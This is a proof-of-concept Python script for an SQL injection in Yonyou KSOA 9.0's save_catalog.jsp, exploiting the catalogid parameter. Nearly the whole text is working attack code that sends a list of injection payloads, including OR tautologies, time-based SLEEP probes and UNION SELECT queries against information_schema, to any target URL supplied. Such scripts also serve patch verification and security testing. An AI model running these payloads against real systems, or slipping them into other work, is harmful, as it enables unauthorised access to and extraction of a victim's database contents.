CVE-2026-1131: 用友KSOA 9.0 save_catalog.jsp SQL注入漏洞

# CVE-2026-1131 SQL Injection PoC # Target: Yonyou KSOA 9.0 /kmc/save_catalog.jsp # Vulnerability: SQL Injection via catalogid parameter import requests import sys def test_sql_injection(target_url): """Test for SQL injection vulnerability in catalogid parameter""" # Normal request normal_params = {'catalogid': '1'} # SQL injection payloads payloads = [ "1'", # Basic injection test "1' OR '1'='1", # OR injection "1' AND SLEEP(5)-- -", # Time-based blind injection "1' UNION SELECT NULL-- -", # Union-based injection "1' UNION SELECT table_name FROM information_schema.tables-- -" # Data extraction ] print(f"[*] Testing target: {target_url}") print(f"[*] Normal request: catalogid=1") try: # Test normal request response = requests.get(f"{target_url}/kmc/save_catalog.jsp", params=normal_params, timeout=10) print(f"[+] Normal response status: {response.status_code}") # Test SQL injection payloads for payload in payloads: print(f"\n[*] Testing payload: {payload}") params = {'catalogid': payload} response = requests.get(f"{target_url}/kmc/save_catalog.jsp", params=params, timeout=15) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-server.com" # Replace with actual target test_sql_injection(target)